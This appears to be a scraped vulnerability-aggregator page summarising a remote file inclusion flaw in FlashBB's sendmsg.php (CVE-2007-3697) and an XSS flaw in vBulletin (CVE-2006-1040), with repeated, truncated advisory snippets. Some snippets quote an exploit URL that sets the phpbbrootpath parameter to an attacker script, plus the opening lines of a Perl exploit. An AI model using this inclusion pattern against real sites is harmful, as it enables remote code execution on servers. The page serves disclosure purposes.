FlashBB Sendmsg.PHP远程文件包含漏洞

FlashBB是一款基于PHP的论坛程序。 FlashBB不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'Sendmsg.PHP'脚本对用户提交的'phpbbrootpath'参数缺少过滤，指定远程服务器上的PHP文件作为包含对象，可导致以WEB进程权限执行任意命令。 TUFaT FlashBB 1.1.7 目前没有解决方案提供 http://www.sebug.net/show-exp-2121.html...

CVE-2007-3697

PHP remote file inclusion vulnerability in phpbb/sendmsg.php in FlashBB 1.1.8 and earlier allows remote attackers to execute arbitrary code via a URL in the phpbbrootpath parameter...

FlashBB <= 1.1.8 (sendmsg.php) Remote File Inclusion Vulnerability

No description provided by source. !/usr/bin/perl Flashbb = 1.1.7 - Remote File Inclusion Exploit Url: http://rapidshare.com/files/41426468/FlashBBAaeDueHFcu.zip Exploit: http://site.com/path/phpbb/sendmsg.php?phpbbrootpath=EvilScript: coded and f0und3d by kw3rln officeatrosecuritygroupdotnet...

FlashBB 1.1.8 - sendmsg.php Remote File Inclusion

FlashBB 1.1.8 - sendmsg.php Remote File Inclusion !/usr/bin/perl Flashbb : coded and f0und3d by kw3rln Romanian Security Team .: hTTp://RSTZONE.NET :. greetz to all RST rstzone.net MEMBERZ use LWP::Simple; print "...........................RST...............................\n"; print ". .\n"; pri...

Cross site scripting

Cross-site scripting XSS vulnerability in vBulletin 3.0.12 and 3.5.3 allows remote attackers to inject arbitrary web script or HTML via the email field, which is injected in profile.php but not sanitized in sendmsg.php...

CVE-2006-1040

Cross-site scripting XSS vulnerability in vBulletin 3.0.12 and 3.5.3 allows remote attackers to inject arbitrary web script or HTML via the email field, which is injected in profile.php but not sanitized in sendmsg.php...

CVE-2006-1040

Cross-site scripting XSS vulnerability in vBulletin 3.0.12 and 3.5.3 allows remote attackers to inject arbitrary web script or HTML via the email field, which is injected in profile.php but not sanitized in sendmsg.php...

CVE-2006-1040

CVE-2006-1040 affects vBulletin versions 3.0.12 and 3.5.3. The vulnerability is a cross-site scripting (XSS) flaw where user-supplied content placed in the email field is injected into profile.php but not sanitized in sendmsg.php, enabling remote attackers to inject arbitrary web script or HTML t...